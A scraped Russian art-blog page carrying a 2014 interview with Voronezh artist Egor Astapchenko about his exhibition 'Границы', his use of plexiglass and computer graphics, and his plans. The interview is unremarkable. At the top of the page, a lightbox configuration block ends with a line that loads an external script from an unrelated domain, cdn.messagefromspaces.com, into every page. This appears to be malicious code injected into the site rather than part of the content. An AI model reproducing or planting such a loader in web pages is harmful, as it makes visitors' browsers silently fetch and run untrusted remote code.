, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
Пользовательский поиск

Добро пожаловать

Советую посмотреть

Страницы

Свежие комментарии

Обмен ссылками

Картины, портреты, критика живописи, Art-дилер




style="display:inline-block;width:120px;height:600px"
data-ad-client="ca-pub-5725625417417931"
data-ad-slot="8961029732">


« | Главная | »

Интервью с воронежским художником Егором Астапченко

Автор: Дмитрий Алмазов | 04 Июн 2014

Астапченко ЕгорВ Воронеже в галерее Х.Л.А.М. проходит персональная выставка работ современного воронежского художника  Егора Астапченко «Границы». Она посвящена осмыслению и интерпретации видения человеком такого явлений в нашей жизни, как  границы – нанесённые и незримые, постоянно меняющие свои очертания. Изменяется ли при этом сам объект – вопрос уже к посетителям выставки.  Работы, выполненные на бумаге, орг. стекле, привлекают своей законченностью, прозрачной яркостью и многослойностью.

Художник Егор Астапченко: про современное искусство, выставку, планы, рассказывает  в нашем интервью.

- Егор, в каком жанре написаны Ваши работы?

Трудно назвать конкретный жанр. В современном искусстве нет жёсткого  разграничения жанров. Упор – на выражение конкретной идеи, мысли, художественного образа. Поскольку работаю в области дизайна интерьеров, дизайна в архитектуре, использую инструменты из дизайна. Работы по форме могут походить на дизайн, в них есть элементы русского авангарда начала 20 века, конструктивизма, именно по форме. По содержанию  они ориентированы не на пожелания заказчика, а на привнесение своих идей.

- В галерее Х.Л.А.М. представлена выставка «Границы». До этого  были ли подобные выставки?

До этого в ноябре 2013 года у меня в Х.Л.А.М.е проводилась совместная выставка с двумя авторами: Женей Ножкиной и Сергеем Ряполовым, она называлась «Вне поля зрения». Выставка была посвящена насекомым. Тема придумана не мной. Общий замысел интерпретировал близкими мне визуальными образами, наделил своим смыслом: в ней использовал орг. стекло, печать на орг. стекле, работал с прозрачным материалом, который даёт тень на поверхности. Компьютерная графика, выполненная в программах для черчения, в которых выполняются проекты зданий, нанесённая на прозрачную поверхность, создаёт отражения на стене.

В контексте выставки «Границы» - техника показалась интересной, актуальной, потому что границы – это отпечаток границ пространства, того, что было придумано, создано искусственно людьми.  Такой проект. Поэтому большая часть работ выполнена на прозрачном материале, с применением компьютерной графики, печати. Объёмные прозрачные элементы отсылают к конструктивизму, русскому авангарду.

- Что вдохновило на создание именно этих работ?

Тема границ, карт, спутниковые карты, разработанный художественно – топографический язык – всё это интересовало с раннего детства. Интересовали границы – как явление.

Можно обобщать, но конкретно  я обращался именно к границам в пространстве, конкретно административным, государственным, которые проведены на карте, пытался найти какой-то графический образ. Глядя на красные линии – находил абстрактные формы, невольно задумываясь – что под ними лежит в реальности. Отсюда многоплановый смысл.

- В настоящее время, можно назвать выставку провокационной?

Нет. Понятно, что все пытаются найти какие-то политические моменты. Я не против, но идея создания выставки «Границы» была всегда, и если это сейчас стало актуальным, то скорее как совпадение.

Изначально тема границ интересовала давно: и 5 лет назад, и 10, со школьной скамьи. Всегда рисовал карты, границы – вымышленные и настоящие, поэтому тема современных событий не была основным толчком, но стала невольной аналогией.

- Как человек, наблюдающий за изменением границ, можете ли Вы сказать, что процесс ускоряется, или всё протекает более- менее одинаково?

Есть в Ютубе замечательный ролик, в котором показаны изменения границ государств на карте Европы - начиная с античных времён, до наших дней. Всё уложено в 2 минуты. Понятно, что сейчас противоречивая ситуация, но я занимаюсь художественными вещами, а не анализом происходящей динамики. Но сам факт изменений мне интересен.

- Какие планы на будущее?

Сложно сказать. Есть определённые планы. Сейчас работаю в архитектурной фирме, занимаюсь дизайном. Я не противопоставляю дизайн искусству, хотя они разные сферы деятельности человека затрагивают, но сфера современного искусства всегда была интересна. Проекты будут, в том числе за рамками Воронежа, в других регионах России.

Вообще всегда был интересен синтез архитектуры, архитектурных приёмов, применённых в контексте современного искусства, но так же люблю живопись, хоть и редко «доходят» руки. Но я не противопоставляю ручную работу и компьютерную графику, хотя в большинстве последних проектов использую компьютерную графику. Возможно появление проектов, сочетающих ручную работу и компьютерную.

- Что более интересно – совместные выставки или персональные?

По разному. Это первая персональная выставка. Проект разрабатывал именно как проект: есть идея, есть её воплощение. Когда совместная выставка – тоже интересно объединить сочетание разных взглядов, техник.

За 5 дней до выставки в Х.Л.А.М.е была открыта совместная выставка в фойе ДК Машиностроителей с Ряполовым Сергеем, Женей Ножкиной и другими художниками. Там другая специфика, тоже очень интересно. Общение с другими людьми, которые тоже занимаются искусством, очень вдохновляет, поэтому совместные выставки – это хорошо.

- Художественное образование – обязательно ли для художника получать художественное образование?

Вопрос провокационный. Сложно сказать. Я считаю, что желательно. Не  могу сказать, что обязательно. Бывают разные случаи. Если брать современное искусство, многие считают, что это не обязательно. Я считаю, что какие-то навыки нужны, они полезны. По крайней мере, мне интересно искусство, когда оно привлекательно в своей технике. Признаю концептуальное искусство,  где важен только посыл, а техника уходит на второй план, но оно менее интересно, хотя тоже имеет право на существование. Однако художественное образование нужно.

- Какими работами украшаете свой быт, что нравится в искусстве?

hudozhnik Egor AstapchenkoНравятся русские поля, чернозём – такая чернозёмная эстетика. Дома – фотографии Дивногорья с огромными полями.

Многие друзья занимаются музыкой, до этого была своя рок- группа, и в музыке присутствовала авангардная  стилистика, чернозёмная волна.     Слушаю Колю Недорезова, Вадима Лукьянова - это мрачная музыка, основанная на почвенной теме, на Платонове. Придерживаюсь современной цивилизации, но в той своеобразной форме, которая мне более интересна.

- Общаетесь с художниками, которые близки по духу?

Не так много. Хотелось бы общаться больше. Многие рассуждают о либералах и западниках, приоритетах в искусстве.  Мне ближе черноземье, Воронеж, Дивногорье. Нравится разрушать границы, процесс синтеза, который включает новые приёмы, художественную технику, компьютерную графику.

- Что нового привнесли в свою выставку?

Если что-то делаю, то считаю это интересным. В мире же многое взаимосвязано. Бывает, что-то делаешь, а оказывается, что какой-то художник в Китае сделал что- то подобное. К примеру, тема «Границы» - мне кажется очень мощной, но и трагичной одновременно, подталкивает на какие-то размышления. Не знаю – возможно ли без этого существование современных цивилизаций, или нет.

Возможно, дальше я перейду к другим темам, которые буду развивать близкой мне техникой. Сейчас – это тема границ, которая всегда была близка, и я её как мог, так и выразил.

Автор Максакова Л.

Темы: Арт Воронеж, Художник | Ваш отзыв »

Отзывы

Перед отправкой формы:
Лаборатория Искусства работает на WordPress